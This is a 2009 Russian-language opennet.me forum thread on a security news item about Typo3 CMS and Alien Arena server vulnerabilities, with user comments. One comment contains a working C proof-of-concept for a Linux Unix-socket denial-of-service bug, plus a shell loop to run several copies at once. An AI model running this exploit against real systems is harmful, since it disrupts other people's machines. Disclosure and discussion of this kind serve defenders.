https://www.opennet.me/openforum/vsluhforumID3/60255.html Серия новых уязвимостей:<br><br><br><br>- В системе управления web-контентом Typo3 (http://typo3.org/) найдено 7 уязвимостей (http://secunia.com/advisories/37122/), среди которых имеется серьезная проблема - возможность осуществить подстановку SQL кода аутентифицированным пользователем. Остальные проблемы связаны с совершением XSS атак (межсайтовый скриптинг), обходом механизмов контроля доступа и возможностью выполнить shell-скрипты на сервере, при наличии редакторского уровня доступа и установке стороннего upload-расширений. С исправлением проблем (http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-016/) в экстренном порядке выпущены версии 4.1.13, 4.2.10 и 4.3beta2.<br><br>- В открытой игре Alien Arena (http://red.planetarena.org/) найдена критическая уязвимость (http://secunia.com/advisories/37118/), позволяющая злоумышленнику выполнить свой код на игровом сервере, отправив специально модифицированный UDP-пакет на сетевой порт 27901. Проблема испрошена в выпуске 7.31;<br><br>- В п...<br><br>URL: http://www.ora https://www.opennet.me/openforum/vsluhforumID3/60255.html#8 Mon, 26 Oct 2009 12:56:07 GMT Тупо3 и безопасный? Оксюморон!<br>Вместо чем верить кому-то, стоило просто посмотреть security advisory.<br> https://www.opennet.me/openforum/vsluhforumID3/60255.html#7 Mon, 26 Oct 2009 00:11:56 GMT Если человек создаст сервер на FreeBSD или Linux, который будет круглосуточно заниматься только Alien Arena, то да - вполне возможно, что сервер запустится от root.<br> https://www.opennet.me/openforum/vsluhforumID3/60255.html#6 Sun, 25 Oct 2009 16:35:01 GMT &gt; Из за трудности эксплуатации уязвимостям присвоен незначительный уровень опасности. <br><br>------------<br>int main(void) {<br><br> int ret, csd, lsd;<br> struct sockaddr_un sun;<br><br>/* make an abstruct name address (*) */<br>memset(&sun, 0, sizeof(sun));<br>sun.sun_family = PF_UNIX;<br>sprintf(&sun.sun_path[1], "%d", getpid());<br><br>/* create the listening socket and shutdown */<br>lsd = socket(AF_UNIX, SOCK_STREAM, 0);<br>bind(lsd, (struct sockaddr *)&sun, sizeof(sun));<br>listen(lsd, 1);<br>shutdown(lsd, SHUT_RDWR);<br><br>/* connect loop */<br>alarm(15); /* forcely exit the loop after 15 sec */<br>for (;;) {<br>csd = socket(AF_UNIX, SOCK_STREAM, 0);<br>ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));<br>if (-1 == ret) {<br>perror("connect()");<br>break;<br>}<br>puts("Connection OK");<br> }<br> return 0;<br>}<br>-----<br><br>You should run the ./unix-socket-dos-exploit concurrently, like below:<br>for i in {1..4} ; do ./unix-socket-dos-exploit & done<br># For safety reason, the PoC code stops in 15 seconds by alarm(15).<br><br><br>http://patchwork.kernel.o https://www.opennet.me/openforum/vsluhforumID3/60255.html#5 Sat, 24 Oct 2009 20:49:04 GMT &gt;А что сервер Alien Arena выполняется с правами root? <br><br>Думаю, как настроят, так и выполняется.<br>А настраивают по разному...)<br> https://www.opennet.me/openforum/vsluhforumID3/60255.html#4 Sat, 24 Oct 2009 19:30:45 GMT Кнут считает по другому.<br> https://www.opennet.me/openforum/vsluhforumID3/60255.html#3 Sat, 24 Oct 2009 19:27:25 GMT &gt; А что сервер Alien Arena выполняется с правами root?<br><br>А что левый код у вас может выполнятся под учётной записью?<br> https://www.opennet.me/openforum/vsluhforumID3/60255.html#2 Sat, 24 Oct 2009 19:08:33 GMT &gt; В системе управления web-контентом Typo3 найдено 7 уязвимостей, <br><br>А кто-то мне говорил что он безопасный... но как видим нет в мире совершенства.<br> https://www.opennet.me/openforum/vsluhforumID3/60255.html#1 Sat, 24 Oct 2009 18:47:46 GMT А что сервер Alien Arena выполняется с правами root?<br>